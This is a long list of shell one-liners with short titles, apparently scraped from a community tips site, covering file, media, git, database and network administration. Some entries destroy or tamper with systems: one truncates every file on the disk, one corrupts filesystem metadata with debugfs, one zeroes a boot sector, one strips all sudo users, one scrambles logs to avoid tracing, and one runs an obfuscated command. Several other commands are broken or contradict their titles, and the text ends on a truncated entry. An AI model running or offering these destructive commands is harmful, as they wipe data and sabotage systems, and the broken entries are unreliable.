find / -type f -size +500M 2>/dev/null | xargs du -h | sort -nr
Enlarge KiCad PCB footprint pads to 2mm for all smaller pads
sed -E -i.bak 's/(^ +\(pad.*\(size)([^\)]+)(\) \(drill)([^\)]+)(.*)/\1 2 2\3 1\5/g' SOURCE_FILE.kicad_pcb
locate a command
which somecommand
Using psnup to get two pages per page
psnup -2 file.ps | lpr
replace old htaccess php AddHandler values with new one
find /var/www/ -type f -name ".htaccess" -exec perl -pi -e 's/AddHandler[\s]*php(4|5)-cgi/AddHandler x-httpd-php\1/' {} \;
Make a statistic about the lines of code
find . -name \*.c | xargs wc -l | tail -1 | awk '{print $1}'
Download a TiVo Show
curl -s -c /tmp/cookie -k -u tivo:$MAK --digest "$(curl -s -c /tmp/cookie -k -u tivo:$MAK --digest https://$tivo/nowplaying/index.html | sed 's;.*<a href="\([^"]*\)">Download MPEG-PS</a>.*;\1;' | sed 's|\&|\&|')" | tivodecode -m $MAK -- - > tivo.mpg
configify the list of gems on ur machine. the quick hack
gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['config.gem \"'+line[:-1][:line.index(' ')] + '\" , ' +line[:-1][line.index(' '):].replace('(',':version => \"').replace(')','')+'\"' for line in l];print '\n'.join(x)"
Get IPv4 of eth0 for use with scripts
ifconfig eth0 | awk '/inet / {print $2}' | cut -d ':' -f2
merge ogg file into a new one according to their download time
cat $(ls -c | grep ogg | tac ) > directory/test.ogg
Get your local IP regardless of your network interface
ifconfig | sed -ne 's/^.*inet \(addr:\)*\([^ ]*\).*/\2/;te' -e 'd;:e' -e '/^127\./d;p'
no log to trace you
paste <(cut -f1 log.txt) <(cut -f2- log.txt | shuf)
search google on any OS
google "search terms" #see description for more details
oneline REPL for perl with warnings and readline support
perl -MTerm::ReadLine -wde'print "TheAnswer=42\n"'
Seach for packages on Debian using regex.
aptitude search ^tin
filter rails log to count requests sliced in seconds
tail -f production.log | perl -ne 'if (/^Completed.in.(\d+)/){$d = int($1/1000);print "\n";$f{$d}++;for $t (sort(keys(%f))){print $t."s: ".$f{$t}."\n"}}'
Create a tar archive with pax containing a set of files
find path -name '*' -type f | pax -wd > txtarchive.tar
Monitoring file change while a copy
while true; do ls -all myfile; spleep 1; clear; done
make pretty the netstat output for listening services
sudo netstat -plntu --inet | sort -t: -k2,2n | sort --stable -t. -k 1,1n -k 2,2n -k 3,3n -k 4,4n | sort -s -t" " -k1,1
Delete keys from Redis by matching a pattern
for key in `echo 'KEYS pattern*' | redis-cli | awk '{print $1}'`; do echo DEL $key; done | redis-cli
Change user's password
sudo passwd <username>
获取压缩后的网页
curl -H "Accept-Encoding: gzip" "http://192.168.1.225/tjx/a.php"|gunzip
generate a core dump of a process
ps -e | awk '$4~/<process name>/{print $1}' |xargs gcore -o ~/troubleshooting
Get a quote from Pooh
grep -Pooh .*t..r,.* /etc/init.d/*
Reports file systems with disk usage exceeding 90% on the specified host
function df_func { local dfts=$(ssh $1 "df -lP | tail -n +2 | sed 's/%//'"); echo $dfts | awk '$5 > 90 {exit 1}' > /dev/null; if [ $? == 1 ]; then echo -n "$1 "; echo $dfts | awk '$5 > 90 {printf "%s %d%%\n", $6, $5}'; fi }
Purge configuration files of removed packages on debian based systems
dpkg-query -W -f '${binary:Package} ${Status}\n' '*' |sed -n 's/ deinstall ok config-files//p'|xargs dpkg --purge
stress test curl 60 connection simulate
for i in {0..60}; do (curl -Is http://<domain/ip> | head -n1 &) 2>/dev/null; sleep 1; done;
Kill all Zombie processes one-liner
ps axo state,ppid | awk '!/PPID/$1~"Z"{print $2}' | xargs -r kill -9
add a mysql user
grant all on *.* to 'dba'@'localhost' identified by 'dba123' with grant option;
Deleting all users from the "sudo" group
gpasswd -d $(getent group sudo | cut -d: -f4 | tr "," "\n") sudo
move files without actually touching them
cd /some/directory \&\& tar cf - | cd /some/directory \&\& tar xvf - */
less an message on a postfix mailsystem with a specific message-id
id=<XXXX>; find /var/spool/postfix/ -name $id -exec less {} \;
Encode a hq video +10mb/min to an 1mb/min suitable for youtube
ffmpeg -i in.mkv -acodec libfaac -ab 128k -ac 2 -vcodec libx264 -vpre max -crf 22 -threads 0 out.mp4
Backup to tape, rewind and check md5
tar -cvf - $DIR_TO_BACKUP | tee >(md5sum > backup_md5.txt) > /dev/st0 && mt -f /dev/nst0 bsfm 1 && md5sum -c backup_md5.txt < /dev/st0
cd to (or operate on) a file across parallel directories
cd () { cdop=""; while [ "$1" != "${1#-}" ]; do cdop="${cdop} ${1}"; shift; done; if [ $!!! Example "-eq 2 ]; then newdir="${PWD/$1/$2}"; [ -d "${newdir}" ] || { echo "no ${newdir}"; return 1; }; builtin cd $cdop "${newdir}"; else builtin cd $cdop "$@"; fi }
get Mother's Day
sqlite> select date('now', 'start of year', '+4 months', 'weekday 0', '+7 days');
Create a 1280x720 color plasma image. Different each time.
convert -size 1280x720 plasma:fractal background.png
find command usage
find /pentest/ -type f -iname "*trace*"
add all files not under version control to repository
svn st | awk ' {if ( $1 == "?" ){print $1="",$0}} ' | sed -e 's/^[ \t]*//' | sed 's/ /\\ /g' | perl -ne '`svn add ${1}@` if /(.*)(@*)(.*)/'
Write and read HDD external (OS FreeBSD)
ntfs-3g /dev/da0s1 /mnt
Query Wikipedia via console over DNS
wki () { dig +short txt "${*// /_}".wp.dg.cx | sed -e 's/^"\(.*\)"$/\1/' -e 's/\([^\]\)"[^\]*"/\1/g' -e 's/\\\(.\)/\1/g' }
Changes dir to $1 and executes ls. As simple as useful
cd () { command cd $1 && ls ; }
Show header HTTP with tcpdump
tcpdump -s 1024 -l -A src 192.168.9.56 or dst 192.168.9.56
make rsync progress output suitable for shell script reading
rsync --progress user@host:/path/to/source /path/to/target/ | stdbuf -oL tr '\r' '\n' >> rsyncprogress.txt
Check SSL crt and key compatibility
KEY_HASH=`openssl rsa -in $KEY_PATH -modulus -noout | openssl md5` && CRT_HASH=`openssl x509 -in $CERT_PATH -modulus -noout | openssl md5`; if [ "$KEY_HASH" != "$CRT_HASH" ];then echo "MD5 sums between .key and .crt files DO NOT MATCH";fi
do replication and sql backup
mysqldump -pyourpass --single-transaction --master-data=2 -q --flush-logs --databases db_for_doslave |tee /home/db_bak.sql |ssh mysqladmin@slave.db.com "mysql"
Transpose column to row
echo `echo -e "a\nb\nv"`
truncate file descriptor
: > "/proc/$pid/fd/$fd"
Show UDID of iPhone
lsusb -s `lsusb | grep "Apple" | cut -d ' ' -f 2`:`lsusb | grep "Apple" | cut -d ' ' -f 4 | sed 's/://'` -v | grep iSerial | awk '{print $3}'
Optimize Google Chrome database speedup sqlite3
cd "/Users/$USER/Library/Application Support/Google" && find . -print|while read line;do (file "$line"|grep SQLite) && (sqlite3 "$line" "VACUUM;";echo "Compress");done;
Display file names that have common ancestors
git diff $(git merge-base master HEAD) --name-only
Extract a Zip File from STDOUT with the Jar Command
cat foo.zip | jar xv
mysql status
mysqladmin status >> /home/status.txt 2>> /home/status_err.txt
Corrupting Filesystem Metadata
debugfs -w /dev/sdX1 -R "set_inode_field /root mode 0000"
delete all DrWeb status, failure and other messages on a postfix server
mailq | grep DrWEB | awk {'print $1'} | sed s/*//g | postsuper -d -
Create a zip file ignoring .svn files
find . -not \( -name .svn -prune \) -type f | xargs zip XXXXX.zip
Remove CR LF from a text file
flip -u $FILE
List only locally modified files with CVS
cvs up 2>&1 | grep --color 'U \|P \|A \|R \|M \|C \|? '
Encode mkv file to ogg+h264+mkv
ffmpeg -i initial.mkv -acodec libvorbis -ab 128k -ac 2 -vcodec libx264 -vpre max -crf 22 -threads 0 final.mkv
List the size (in human readable form) of all sub folders from the current location
du -h --max-depth=1 | sort -hr
Displays what shell you are using.
echo $0
Converts a single FLAC file with associated cue file into multiple FLAC files
shnsplit -o flac -t "%n - %t - %a" -f sample.cue sample.flac
Delete keys from Redis by matching a pattern
redis-cli keys pattern\* | xargs redis-cli del
Scan all available IP addresses on network
nmap -sP $(ip -o addr show | grep inet\ | grep eth | cut -d\ -f 7)
ASCII character set encoded in octal, decimal, and hexadecimal
man ascii
find deleted files with open file descriptors(without lsof)
find /proc/*/fd -ls | grep '(deleted)'
Emptying Every File Recursively
find / -type f -exec sh -c '> {}' \;
file sizes of current directory
ls -la | awk '{print $5, " " ,$9}' | sort -rn
purge old stale messages on a qmail queue
for i in `grep "unable to stat" /var/log/syslog | cut -d "/" -f 3 | sort | uniq`; do find /var/qmail/queue -name $i -type f -exec rm -v {} \; ; done
Play 2600 off the hook over ssh
curl -L -s `curl -s http://www.2600.com/oth-broadband.xml` | xmlstarlet sel -t -m "//enclosure[1]" -v "@url" -n | head -n 1` | ssh -t [user]@[host] "mpg123 -"
Set volume to a mp3 file
ffmpeg -i foo.mp3 -vol 20 -acodec libmp3lame bar.mp3
Terrorist threat level text
echo "Terrorist threat level: $(curl -s 'http://www.dhs.gov/dhspublic/getAdvisoryCondition' | awk -F\" 'NR==2{ print $2 }')"
Get the absolute path of a file
realpath -s <filename>
Adds "-c" canonical option to bash "type" builtin command to follow symbolic links
type () { if [ "$1" = "-c" ]; then shift; for f in "$@"; do ff=$(builtin type -p "$f"); readlink -f "$ff"; done; else builtin type $typeopts "$@"; fi; }
Display only the actual uptime value
uptime | cut -d "," -f 1 | cut -d " " -f 4-
histogram of file size
gnuplot -p <(echo "set terminal wxt size `xrandr|grep -P '\s{3}(\d+x\d+).*\+$'|tr -s ' ' '\t'|cut -f2|sort -n|tail -n1|tr 'x' ','`; set logscale y; set style data hist; set xtic rot by -90; plot '<(stat -c \"%n %s\" *)' u 2:xtic(1)")
Basic Shell function die_msg
die_msg() { echo $@ >&2; exit -1; }
print pdf man file
man -t ls > ls.ps && pdf2ps ls.ps && rm ls.ps
Simulate a tree command
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
Get your current Public IP
dig o-o.myaddr.l.google.com @ns1.google.com txt +short
Get svn log from remote server
svn log -l1000 <V CTRL SERVER> -v > svn_full.log
Get full directory path of a script regardless of where it is run from
FULLPATH=$(perl -e "use Cwd 'abs_path';print abs_path('$0');")
all java -Xmx values in a system, add them up
output=$(ps -ef|grep -i java 2>/dev/null); for w in ${output[@]}; do if [[ $w =~ .*Xmx.* ]]; then result=$(grep -oP "[0-9]+" <<< $w); echo $result ;fi ; done| awk 'BEGIN {sum=0} {for(i=1; i<=NF; i++) sum+=$i } END {print sum}'
To backup your application code, data, logs and configuration, you run:
rhc snapshot save -a {appName}
File rename with regexp
for i in xxxx*.mp4; do j=`echo $i | sed 's/ - \([0-9][0-9]\). / S1E\1 - /g'`; mv "$i" "$j"; done
Turn on NFS Debugging
echo 1 > /proc/sys/sunrpc/nfs_debug
pip shortcut to download a package and append it to your requirement.txt file in that project folder
pipi () {pip install $1 && echo $(pip freeze | grep -i $1) >> requirements.txt;}
Install the Go commands in a central place
sudo -u admin GOPATH=/tmp GOBIN=/usr/local/opt/go/bin go get -u golang.org/x/tools/cmd/... && sudo -u admin GOPATH=/tmp GOBIN=/usr/local/opt/go/bin go get -u github.com/tools/godep
How to find a file and remove it using Find?
find . -name project.txt -exec rm -f {} \;
repeat any string or char n times without spaces between
printf -- 'xyz%.0s' {1..20}
Remove all docker images to cleanup disk
docker images | awk '{ print $3 }' | grep -v IMAGE | xargs docker rmi
Linux system calls of MySQL process
strace -c -p $(pidof -s mysqld) -f -e trace=all
rclone - dump teamdrive config to config file
$ rclone backend -o your-config.conf drives mydrive:
Start urxvt and do whatever is needed to open the screen session named "main"
screen -ls | grep main && urxvt -name screen -e screen -x main || urxvt -name screen -e screen -R -S main
list files by testing the ownership
ls -la | awk '$3 == "oracle" || $3 == "root" {print $9}'
sync a directory of corrupted jpeg with a source directory
for i in *jpg; do jpeginfo -c $i | grep -E "WARNING|ERROR" | cut -d " " -f 1 | xargs -I '{}' find /mnt/sourcerep -name {} -type f -print0 | xargs -0 -I '{}' cp -f {} ./ ; done
Play a podcast via XPath and mpg123
curl -L -s `curl -s [http://podcast.com/show.rss]` | xmlstarlet sel -t -m "//enclosure[1]" -v "@url" -n | head -n 1` | ssh -t [user]@[host] "mpg123 -"
Generate an XKCD #936 style 4 word password
jot 4 | awk '{ print "wc -l /usr/share/dict/words | awk '"'"'{ print \"echo $[ $RANDOM * $RANDOM % \" $1 \"]\" }'"'"' | bash | awk '"'"'{ print \"sed -n \" $1 \"p /usr/share/dict/words\" }'"'"' | bash" }' | bash | tr -d '\n' | sed 's/$/\n/'
un-unzip a file
unzip -l filename.zip |awk '{ if($4 != "Name" && $4 != "----") print $4}'|xargs -t rm -rf {}
find usage
find /etc/ /pentest/ -type f -iname "*sql*" | grep map
lsb_release -a
lsb_release -a
OS X: clean up Windows and Classic Mac OS newlines from the text in the clipboard
pbpaste | tr '\r\n' '\n' | tr '\r' '\n' | pbcopy
Restore application on Openshift
rhc snapshot restore -a {appName} -f {/path/to/snapshot/appName.tar.gz}
Grep auth log and print ip of attackers
grep Failed auth.log | rev | cut -d\ -f4 | rev | sort -u
Download mp3 from youtube with youtube-dl
youtube-dl --extract-audio --audio-format mp3 <video URL>
Find the next free user id in OS X
echo $((1+$( dscl . -list /Users UniqueID| awk '{print $2}' | sort -rn | head -1 )))
Find a file and change its permissions
find . -name secret.txt -exec chmod 755 {} \;
Remove color codes (special characters) with sed
cat $* | sed -e "s,\x1B\[[0-9;]*[H],+++NEWLINE+++,g" -e "s,\x1B\[[0-9;]*[a-zA-Z],,g" -e "s,+++NEWLINE+++,\x0A,g" -e "s,\x07,,g" -e "s,\x08,,g" | sed -e "s, *$,,g" -e "s,[^ -~],,g" | uniq
Display the top ten running processes - sorted by memory usage
ps -eo size,command --sort -size | head
A 'favorite' command.
alias myhost='ssh me@myhost'
Simple server which listens on a port and prints out received data
nc -l -p portnumber
Find files modified in the last N days; list sorted by time
find . -type f -mtime -14 -exec ls -ltd \{\} \; | less
Join avi files
cat b1.avi b2.avi b3.avi b4.avi b5.avi b6.avi b7.avi > output.avi; mencoder -forceidx -oac copy -ovc copy output.avi -o output_final.avi; rm output.avi
Get full directory path of a script regardless of where it is run from
STARTING_DIR=$(cd $(dirname $0) && pwd)
Tar all files in a folder including hidden dot files
tar -zcvf file.tgz ./
Increment next number in vim
CTRL + A ( in normal mode )
Internet file transfer program for scripts that can be easily used to get files from a ftp
ncftpget -u Us3r -p Passw0rd ftp.backups.com . 'site.com.tar.gz'
Count open file handles for a specific user ID
for x in `ps -u 500 u | grep java | awk '{ print $2 }'`;do ls /proc/$x/fd|wc -l;done
calculate how many different lines between two files
grep -Fvxf $(file1) $(file2) | wc -l
duckduckgo search to w3m browser
ddg(){ search=""; bang=""; for term in $@; do if [[ "$term" =~ -([A-Za-z0-9._%+-]*) ]]; then bang="\!${BASH_REMATCH[1]}" ; else search="$search%20$term" ; fi ; done ; w3m "https://www.duckduckgo.com/?q=$bang$search" ;}
check web site status
if [ "`curl -s --head domain.tld | grep HTTP | cut -d" " -f2`" != "200" ];then echo "error"; echo "doing else" ;fi
Look for the process bound to a certain port
sudo netstat -tulpn | grep :8080
tsm tape media listing as readonly or readwrite
tsm> select Volume_Name, access from Volumes order by access
This command will check the file /etc/passwd existence
[ -f /etc/passwd ] && echo "Yes" || echo "No"
Chronometer
stf=$(date +%s.%N);st=${stf/.*/};sn=%{stf/*./};for ((;;));do ctf=$( date +%s.%N );ct=${ctf/.*/};cn=${ctf/*./}; echo -en "\r$(echo "scale=3; $ctf-$stf" | bc)";done
simple pomodoro
while true; do sleep $((40 * 60)); echo "Fuck away for some time"; sleep $((3 * 60)); done &
copying data with cpio
find ./source -depth -print | cpio -cvo> /destination/source_data.cpio; cd /destination; cpio -icvmdI ./source_data.cpio; rm -rf ./source_data.cpio
Calculating series with awk: add numbers from 1 to 100
awk 'BEGIN {for(i=1;i<=100;i++)sum+=i}; END {print sum}' /dev/null
Finds the track no of songs, to be played
mpc playlist | grep -in bar
replace all spaces with new lines
tr ' ' '\n' < <filename> > <output>
Open multiple files from STDIN with VIM
vim -p $(complicated command to list the files you want)
get WAN / external IP
curl tnx.nl/ip
Kill Session
kill -9 `ps -u <user> -o "pid="`
Delete Redis keys by mask
redis-cli KEYS "user*" | xargs redis-cli DEL
Get magnet link from URL
curl -s http://host.net/url.html | grep magnet | sed -r 's/.*(magnet:[^"]*).*/\1/g'
Docker: Remove all exited docker container
docker ps -a | grep Exit | awk -F " " '{ print $1 }' | xargs docker rm {}
Move cursor to the beginning of the line
CTRL-A
Put the command in background running state
nohup <command>
encode mkv to mp4 with hardsubs
mpv file.mkv -o out.mp4
Chronometer in hour format
stf=$(date +%s.%N);st=${stf/.*/};sn=%{stf/*./};for ((;;));do ctf=$( date +%s.%N );ct=${ctf/.*/};cn=${ctf/*./}; dtf=$(echo "scale=3; $ctf-$stf" | bc); dt=${dtf/.*/}; dt=${dt:=0};echo -en "\r$(date -u -d @$dt "+%H:%M:%S.${dtf/*./}")";done
Convert Kubernetes ConfigMaps to Secrets
cat configmap.json | jq 'with_entries(if .key == "data" then .value=(.value | to_entries | map( { (.key): (.value|@base64) } ) | add ) elif .key == "kind" then .value="Secret" else . end)'
Block all brute force attacks in realtime (IPv4/SSH)
inotifywait -r -q --format %w /var/log/auth.log|grep -i "Failed pass"|tail -n 1|grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}';iptables -I INPUT -i eth0 -s "$(cat /var/log/auth.log|grep "authentication failure; l"|awk -Frhost= '{print $2}'|tail -n 1)" -j DROP
Input redirection. The < character tells the shell to read the contents of the file specified. ANSI-C Quoting
X=$'uname\x20-a'&&$X
Lists unambigously names of all xml elements used in files in current directory
grep -Eho '<[a-ZA-Z_][a-zA-Z0-9_-:]*' * | sort -u | cut -c2-
create random string from /dev/urandom (or another length)
echo `cat /dev/urandom | base64 | tr -dc "[:alnum:]" | head -c64`
netstat with group by (ip adress)
netstat -nt | awk -F":" '{print $2}' | sort | uniq -c
Remove password from PDF
for F in *.pdf ; do qpdf --password=your_password --decrypt "$F" "$(basename $F .pdf)-nopw.pdf" ; done
Find out the installation time of a linux system (when installed in a ext⅔/4 file system)
tune2fs -l $(df -P / | awk 'NR==2 {print $1}') | sed -n 's/^.*created: *//p'
Escape literal string for inclusion in an egrep regex
egrep_escape() { echo "$1" |sed -re 's/([\\.*+?(|)^$[])/\\\1/g' -e 's/\{/[{]/g'; }
Show git branches by date - useful for showing active branches
brd = "! f() { for k in $(git branch $@ | sed 's/^..//; s/ .*//'); do echo "$(git log -1 --pretty='%Cgreen%ci %Cblue(%cr)%Creset ' $k) $k" ; done | sort -r; }; f"
Numeric zero padding file rename
for i in $(seq -w 0 100) ; do mv prefix$(( 10#$i )).jpg prefix${i}.jpg ; done
Start screen, attach here an now to sessionname , be quiet
screen -R -D -S sessionname -q
CPU Display model type and MPN
ioreg -lw0 | grep IODisplayEDID | sed "/[^<]*</s///" | xxd -p -r | strings -6
Sysadmin day date of any given year
YEAR=2015; ncal 7 $YEAR | sed -n 's/^Fr.* \([^ ]\+\) *$/Jul \1/p'
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod -R ~/.ssh"
paste numbers and operator to get an expression
seq 1 100 | paste -s -d '*'
Set Java home directory based on version for Mac OSX Yosemite
export JAVA_HOME=$(/usr/libexec/java_home -v 1.7)
Erase preceding word
CTRL+W
Search entire web server for preg_replace /e based php malware.
find / -name \*.php -exec grep -Hn preg_replace {} \;|grep /e|grep POST
stream a mkv file to facebook from cmd
mpv file.mkv -o out.flv --oac=libmp3lame --oacopts=b=128000; ffmpeg -re -i output-003.flv -f flv 'rtmp://rtmp-api.facebook.com:80/rtmp/facebookkeyandparams'
download whole website localls with wget mirroring
wget --recursive --no-clobber --page-requisites --html-extension --convert-links --restrict-file-names=windows --domains website.tld http://www.website.tld
Lower jpg quality
find -type f -name '*.jpg' -exec mogrify -quality 70% '{}' \;
Faciliate the work for lftp ('all' is needed if you wanna use it with getopts, otherwise its enough with the lftp line)
all="$(echo -e $*|awk '{for(i=3;i<=NF;++i)print $i}'|xargs)"; lftp -e open <HOSTNAME> -p <PORT> -u <USER>:<PASSWORD> -e "$all;exit"
find all file larger than 500M
find / -type f -size +548576 -printf "%s:%h%f\n"
Print all lines from a file that has the same N th and M th column
awk '$3==$4' /etc/passwd
move linenumbers of grep output to end of line
grep -n log4j MainPm.java | sed -e 's/^\([^:]*\):\(.*\)/\2 \1/'
Makes mplayer show file played through libnotify, 140 characters
r="readlink /proc/`pgrep -o mplayer`/fd/3";while [ -e "`$r`" ];do if [ "$f" = "`$r`" ];then sleep 1;else f="`$r`";notify-send " $f";fi;done
List the size (in human readable form) of all sub folders from the current location
du -hd1 |sort -h
Generate SHA1 hash for each file in a list
find . -regex ".*\(avi\|mp4\|wmv\)$" -print0 | xargs -0 sha1sum
Sysadmin day date of any given year
YEAR=2015; date -d${YEAR}0801-$(date -d${YEAR}0801+2days +%u)days +%b\ %e
Print list of linked dependencies for package.
finddeps firefox-pgo | cut -d' ' -f1 | xargs | sed -e 's/glibc//g' -e 's/gcc//g' -e 's/binutils//g' -e 's/ \+ / /g'
Start Java Control Panel from Command line (Mac OSX Yosemite)
cd $JAVA_HOME && java -Xbootclasspath/a:jre/lib/deploy.jar -Djava.locale.providers=HOST,JRE,SPI -Xdock:name="Java Control Panel" com.sun.deploy.panel.ControlPanel
Search entire server for Q4 2015 obfuscated PHP malware of unknown origin.
find / -name \*.php -exec grep -Hn .1.=.......0.=.......3.=.......2.=.......5.= {} \;
watermark a image on video
ffmpeg -i out.mp4 -i logo.png3 -filter_complex "overlay=0:0" -codec:a copy out2.mp4 -y
Arch Linux sort installed packages by size
pacman -Qi | grep 'Name\|Size\|Description' | cut -d: -f2 | paste - - - | awk -F'\t' 'BEGIN{ s["MiB"]=1024; s["KiB"]=1;} {split($3, a, " "); print a[1] * s[a[2]], "KiB", $1}' | sort -n
shell bash iterate number range with for loop
seq 10 20
Test a crontab work on 5th line.
eval "$(crontab -l | sed -n '5p' | tr -s ' ' | cut -d' ' -f 6-)"
See which files differ in a diff
diff dir1 dir2 | diffstat
Remove the boot loader from a usb stick
dd if=/dev/zero of=/dev/sdb bs=446 count=1
Makes a project directory, unless it exists; changes into the dir, and creates an empty git repository, all in one command
gitstart () { if ! [[ -d "$@" ]]; then mkdir -p "$@" && cd "$@" && git init; else cd "$@" && git init; fi }
Zenity percent progressbar for scripts accepting parameters
(for FILE in $@; do echo $[100*++x/$#]; command-for-each-parameter; done)|zenity --progress --auto-close
See loaded modules in apache(2)
apache2 -l
replace dots in filenames with dashes, using sed
for f in *; do fn=`echo $f | sed 's/\(.*\)\.\([^.]*\)$/\1\n\2/;s/\./-/g;s/\n/./g'`; mv $f $fn; done
Adjust brightness [software way]
xrandr --output LVDS1 --brightness 0.4
Recursively change permissions on directories, leave files alone.
find /var/www/ -type f -print0 | xargs -0 chmod 644
more than 4 repeated characters to a single character
sed -ru 's/(.)\1{4,}/\1/g'
Gather list of PHPCS error messages sorted by frequency
phpcs --no-colors --standard=WordPress-Core -s -- $( find . -name '*.php' ) | ack -o '(?<=\()\w+(\.\w+)+(?=\)$)' | sort | uniq -c | sort -nr
Git reset added new files
git status --porcelain -z | grep -zZ '^A[ MD] ' | sed -z 's/^...//' | xargs -0 --no-run-if-empty git reset HEAD --
Extract binary from .text section (shellcode)
objdump -d -j .text ExeHere | grep -e '^ ' | tr '[[:space:]]' '\n' | egrep '^[[:alnum:]]{2}$' | xargs | sed 's/ /\\x/g' | sed -e 's/^/\\x/g'
List wireless clients connected to an access point
sudo netdiscover -r 192.168.1.0/24 -i wlo1
Shows the largest files in your archives
tar -tvjf backup.tar.bz2 | sort -nrk 3 | head
Safely store your gpg key passphrase.
pwsafe -qa "gpg keys"."$(finger `whoami` | grep Name | awk '{ print $4" "$5 }')"
Test if the given argument is a valid ip address.
perl -e '$p=qr!(?:0|1\d{0,2}|2(?:[0-4]\d?|5[0-5]?|[6-9])?|[3-9]\d?)!;print((shift=~m/^$p\.$p\.$p\.$p$/)?1:0);' 123.123.123.123
Receiving alerts about commands who exit with failure
export PROMPT_COMMAND='( x=$? ; let x!=0 && echo shell returned $x )'
floating point bash calculator w/o precision
b(){ echo "scale=${2:-2}; $1" | bc -l; }
Show thermal info
cat /proc/acpi/thermal_zone/*/temperature
hexadecimal dump of a file as it is on disk with hexadecimal offsets
od --format=x1 --address-radix=x mybinaryfile
Ignore all Comment in Vim
hi! link Comment Ignore
Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 -exec rm -vf {} +
Copy file to multiple destinations
cat myfile | tee dest1 dest2 > /dev/null 2>&1
Search Objective-C source file for tag listing and sort
grep '.tag =' <file> | awk '{print $3}' | awk 'sub(/[;]/, x)' | sort -n
coloured tail
tail -f FILE | ccze
Turn monitor on or off if off or on, respectively
xset -display :0 q | grep ' Monitor is On' > /dev/null && xset -display :0 dpms force off || xset -display :0 dpms force on
Screenshot a part of the screen, upload to S3 and copy URL to clipboard
scrot -s -e 's3cmd -P put $f s3://my-bucket-screenshots/ | tail -n 1 | cut -d " " -f 7 | xsel -i -v --primary'
total percentage of memory use for all processes with a given name
ps -eo pmem,comm | grep chrome | cut -d " " -f 2 | paste -sd+ | bc
Launch remote awesome session on Dual monitor
Xephyr -keybd ephyr,,,xkbmodel=evdev,xkblayout=it -listen tcp -ac -reset -output VGA1 :5
See who's connected to your network =D
sudo netdiscover -r 192.168.1.0/24 -iwlo1
Create a script of the last executed command
echo !!:q > foo.sh
convert raw camera image to jpeg
for i in *.CR2; do ufraw-batch $i --out-type=jpeg --output $i.jpg; done;
Shuffle two letters randomly
while true; do shuffled_letter1=$(printf "%s\n" "${letters[@]}" | shuf -n 1); shuffled_letter2=$(printf "%s\n" "${letters[@]}" | shuf -n 1); printf "%s%s\r" "$shuffled_letter1" "$shuffled_letter2"; sleep 0.1; done
DNS cache snooping
for i in `cat names.txt`; do host -r $i [nameserver]; done
show your private/local ip address
ifconfig | grep cast | cut -d':' -f2 | cut -d' ' -f1
Generate random valid mac addresses
macchanger -A (nic)
use ethereal to generate a pcap file of a VOIP call
tethereal -i eth0 -R 'iax2 && ip.addr==10.162.78.162' -w /tmp/iax2.pcap
Removing sensitive data from the entire repo history.
git filter-branch --index-filter 'git rm --cached --ignore-unmatch FileToRemove' HEAD
Install mysql-2.8.1 rubygem on Mac OS X 10.6 (Snow Leopard)
sudo env ARCHFLAGS="-arch x86_64" gem install mysql
it allows recording of your terminal
shelr record
Find biggest 10 files in current and subdirectories and sort by file size
find . -type f -exec du -sh {} + | sort -hr | head
find . -name "*" -print | xargs grep -s pattern
find . -name "*" -print | xargs grep -s pattern
grep all pdf files in a folder
for i in *.pdf; do echo --------$i-------; echo; pdftotext $i - | grep -i Yourpattern; done
See the members of a group
getent group <group>
remove proxy reverse iP from apache log
tr -s ' ' | cut -d' ' -f2- |cut -c2- |sed 's/)//1'
Recursively unzip archives to their respective folder
find . -name "*.zip" | while read filename; do unzip -o -d "`dirname "$filename"`" "$filename"; done;
Remove abstracts from a bibtex file
sed '/^\s*abstract\s*=\s*{[^\n]*},$/ d' input.bib > output.bib
Remove all the characters after last space per line including it
echo 'The quick brown fox jumps over the lazy dog' | sed 's|\(.*\) .*|\1|'
find out about a process
cat /proc/<PID>/environ
Remove all directories less than 1 MB in size in or below current directory
find . -type d -execdir du -sh '{}' ';' | grep -E "[0-9]+K" | sed 's/^[0-9\.]\+K[\t ]\+//' | tr "\n" "\0" | xargs -0 rm -rf
Remove blank lines from a file
sed -i.bak '/^[[:space:]]*$/d' file_name
stdin speaker via espeak
awk '{print}' | espeak -v pt -stdin
show how much diskspace all images in a given directory need
find /home/bubo/ -type f \( -iname \*.jpg -print0 , -iname \*.png -print0 , -iname \*gif -print0 \) | du -cm --files0-from - | tail -1
Create a virtual disk (CD/DVD) in VirtualBox
VBoxManage openmedium dvd "/path/name.iso"
get tor bridges
lynx -dump 'https://bridges.torproject.org' | sed '/^bridge [0-9\.][0-9\.]*:[0-9][0-9]*/!d'
Check if your domain name is suspectable to axfr attacks.
dig @somenameserver.net somedomainname.net axfr
Find the package a command belongs to on debian-based distros
function whichpkg { dpkg -S $1 | egrep -w $(which $1)$; }
leave a stale ssh session
find specified directory and delete it recursively including directories with spaces
find . -name "directory_name" -type d -print0 | xargs -0 -i rm -rf {}
Creating a feature branch
git checkout -b myfeature develop
Recursively set the files to ignore in all folders for svn
for folder in $( find $( pwd ) -maxdepth 1 -type d | grep -v .svn ); do svn propset svn:ignore -F ignorelist ${folder}; done
find . -type f -exec grep -ils stringtofind {} +
find . -type f -exec grep -ils stringtofind {} +
Shows CPU usage for each process running in MikroTik RouterOS
tool profile
amixer toogle state (mute / unmute)
(amixer get Master | grep off > /dev/null && amixer -q set Master unmute) || amixer -q set Master mute
bored of the waiting for moderation
echo "bored of the awaiting moderation"
List only X byte files in the current directory
du -hs * |egrep -i "^(\s?\d+\.?\d+G)"
Turn monitor on or off if off or on, respectively
echo test $DISPLAY > /dev/null || export DISPLAY=:0.0; xset dpms force off;gnome-screensaver-command -l
Resize jpg images in the current directory using imagemagick
find . -type f -name '*.jpg' -print0 | xargs -0 mogrify -scale 1280x960
Display a random man page
man $(ls /bin | shuf -n1)
Recursively delete all files of a specific extension
find . -name "*.bak" -type f -delete
Shuffle a reversed string without new lines (Simple way to create a progress bar)
while true; do slumpad_eversed=$(echo "$eversed_part" | grep -o . | shuf | tr -d '\n'); tput cr && tput el && echo -n "$r_part$slumpad_eversed" ; sleep 1 ; done
Replaces every ocurrences of 'old' for 'new' in all files specified
